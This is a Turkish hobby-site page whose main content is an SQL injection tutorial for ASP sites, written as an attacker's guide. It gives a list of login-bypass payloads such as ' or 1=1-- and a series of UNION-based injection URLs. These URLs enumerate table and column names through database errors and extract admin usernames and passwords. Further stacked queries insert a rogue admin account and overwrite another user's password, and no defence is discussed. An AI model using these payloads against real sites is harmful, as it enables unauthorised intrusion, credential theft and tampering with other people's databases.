YENİ NESIL PAYLASIM SITESI - ASP SQL İnjection
  Ana Sayfa
  Bilgi Yarışması
  Sinir Etme Oyunu
  UYDUDAN GORUNTU
  KOMİK YAZILAR
  ŞİİR
  BİLMECELER
  GÜNLÜK BURCLAR
  GEREKLİ SİTELER
  GÜNCEL SINAV SONUCLARI
  Kısa MSJ ve SMS
  PROGRAM İNDİR
  KLİP TV
  GÖLGELER
  1001 Güzel Sözler
  AVATARLAR
  <<<<<< Sesli Siirler >>>>>>
  ♥ Özlü Sözler♥
  SLAYTLAR
  Flash Şiirler
  ...:::ESİNTİLER:::...
  MSN ADABI
  Aşkta 99 Öğüt
  Eğitim Haberleri
  OTOMOBİL VİDEOLARI
  Bunları Biliyormuydunuz??
  ÖYKÜLER
  MÜZİK NEDİR?
  ..:::GİFLER:::..
  ARKA PLANLAR
  MÜZİK SAYFASI
  HİKAYELER
  SİHİRLİ OLAYLAR
  RESİMLER 2
  YENİ İFADELER
  SİNEMA HABER
  GÖZ YANILMALARI
  HTML KODLAR
  SÜPER KODLAR
  SÜPER KODLAR 2
  RESİMLİ AŞK ŞİİRLERİ
  BEST FM
  Varmısın ? Yokmusun? OYUNU
  Online Fİlm İzleme
  ...:::>>CHAT<<:::...
  HAVA DURUMU
  Komik sEsLeR
  ÇANAKKALE
  OSMANLI DÖNEMİ
  ANKETLER
  İLGİNÇ SİMLİ GİFLER
  EĞLENCE
  ASP SQL İnjection
Merhaba arkadaşlar.Bu konuda sizlere sql injection saldırıları hakkında bilgiler sunacağım.Döküman alıntı değildir.(ruhemici tarafından hazırlanmıştır)

SQL Nedir?
Açılımı açılımı Structured Query Language(Yapısal sorgu dili)'dir.Sql ibm tarafından geliştirilmiş bir veritabanı dilidir.Bilindiği gibi asp,php gibi
programlama dilleri veritabanı kulanır.Veritabanlarında tablolar saklanır ve bu tablolarda çeşitli bilgiler üye vs. bulunur.Sql istenilen bilgileri sorgulama
türüne göre kullanıcıya sunar.Sql injection olayı da burada ortaya çıkar.

Sql Injection Nedir?
Basit olarak tanımlayacak olursak,veritabanı kullanan sitelerde bulunan kod açıklarından faydalanarak bazı kod girişleriyle
sql'nin istediğimiz komutları çalıştırmasıdır.Örneğin;sitelerdeki üye girişi sayfalarında kullanıcı adı ve şifresiyle kişinin
üye olup olmadığı veritabanına sorulur.Sql injection sql sorgusunu değiştirerek istediğimiz bilgiyi almamıza olanak verir.

Sql Injection Açıklarını Bulmak
Bu açıkları kullanıcıların bilgi gönderdiği yerlerde bulabiliriz.Yorum sayfaları,kullanıcı girişleri...Asp,php kullanılmış
sayfalarda bazı sayflar parametre alır.Mesela ;



Html sayfalarında ise durum farklıdır.Html sayfalarında sayfa adresinde parametreleri göremezsiniz.Bu yüzden sayfanın kaynak kodlarını
inceleriz.Kaynak kodlarında form etiketini aramalıyız.





Bir sayfada açık olup olmadığını nasıl anlayabiliriz?
Bunun için tek tırnak hilesi kullanılır.Adres kısmına tek tırnak yazın.Eğer ODBC hatası verirse o siteye sql injection
saldırısı yapılabilir.Ancak,hepsinde olacak diye de bir kaide yoktur.ODBC hatalarıyla birçok bilgiye ulaşılabilir.

admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a
gibi kodlarla da sql hata vermeye zorlanabilir.Bu kodları yazmaktaki amaç sql'nin normal şartlarda bize sunmadığı bilgileri
sunmasını sağlamaktır.Örneğin tablo isimleri gibi.

Tablo isimlerini öğrenelim
Sitemiz www.siteadı.com/index.asp?id=5 olsun.

Şimdi ilk tablonun ismini öğrenelim.Adresin sonuna şu kodu eklemeliyiz.


Kod:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–


Yani son hali şu şekilde olacak ;



INFORMATION_SCHEMA.TABLES tüm tabloların bilgisini saklıyor.Tablolar hakkında henüz bilgimiz olmadığı için bunu kullandık.
TOP 1 TABLE_NAME ise 1.tablodur.UNION ise hata vermesi için kullanılır.-- ise işlemi sonlandırmak içindir.

Enter'a bastığımızda şöyle bir hata veriyor olacak.



Gördüğünüz gibi bize 1.tablo adının ruh olduğunu söyledi.

Sonraki tablonun adını almak için kodumuz ;

Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’ruh')–


Mesela içinde user geçen tablonunu adını almak için ;


Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25user%25’--


Böyle bir hata ile karşılaşacağız.



İçinde admin geçenler için mesela aynı şey geçerli.


Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--


TABLES WHERE TABLE_NAME LIKE ’%25admin%25’ içinde admin gibi kelimeler olan tabloları göster demektir.

Böylece hatamız;



Şu anda admins isimli bir tablo bulduk.Şimdi sütun isimlerini öğreneceğiz.

Sütun isimlerini öğrenmek

Bunun için INFORMATION_SCHEMA.COLUMNS kullanılacak.


Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--



Admins tablosundaki ilk sütun logon.

Şimdi diğer sütunun ismine bakalım.


Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logon’)--


Kod bu.Hatamız ;



Diğer sütunun ismi LogonID imiş.Tablo ve sütun isimlerini öğrendik.Şimdi de kullanıcı adı ve şifreleri öğrenelim.

Kullanıcı adı ve şifreler
İlk önce admins tablosunun ilk sütunu olan logon'a bakalım.


http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 logon FROM admins--


Hata ;



kullanıcı adı star.Üstelik yetkili.Şifresini bulmak için ise ;


Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 password FROM admins where logon=’ star ’--


Hatamız ;



star kullanıcısın şifresi hack.

Yeni bir kullanıcı eklemek

Bunun için ;


Kod:
http://www.siteadı.com/index.asp?id=5; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’Ruhemici’,’ruh’,’NA’)--


Kullanıcı adı : Ruhemici
Şifre : ruh

olan bir kullanıcı veritabanına eklenmiş oldu.

Veritabanındaki bir veriyi değiştirmek

Mesela az önce bulduğumuz star kullanıcısının şifresini değiştirelim.


Kod:
http://www.siteadı.com/index.asp?id=5; UPDATE ’admins’ SET ’password’ = ’yenisifre’ WHERE loginname=’star’--


Böylece şifreyi yenişifre olarak değiştirmiş olduk.

Sayısal bilgilere ulaşmak

Az önce star kullanıcısının şifresini hack olarak bulduk.Ancak şifre eğer sayılardan oluşuyorsa durum değişir.Kodu uyguladığımızda
bir hata vermeyecektir.Bunun için hata vermeyi garantilememiz gerekir.


Kod:
http://www.siteadı.com/index.asp?id=5 UNION SELECT TOP 1 convert(int, password%2b’%20bilgisayar’) FROM admins where login_name=’star2‘–


star2 kullanıcısı diye bir kullanıcı olduğunu varsayalım.+ işareti(%2b ASCII kod karşılığı) ile bilgisayar kelimesiyle birleştirdik.Şifre sadece sayı olsa bile biz bunu
bir kelime ile birleştirip sayısal bir değere dönüştürmesini sağladık ve sonuç ;



star2 kullanıcısının şifresi 123456
Dökümanın sonu.Umarım faydalı olabilmişimdir.Bu arada örneklerde asp kullanıldı ancak sql php'de de çalışır.
 
Bu web sitesi ücretsiz olarak Bedava-Sitem.com ile oluşturulmuştur. Siz de kendi web sitenizi kurmak ister misiniz?
Ücretsiz kaydol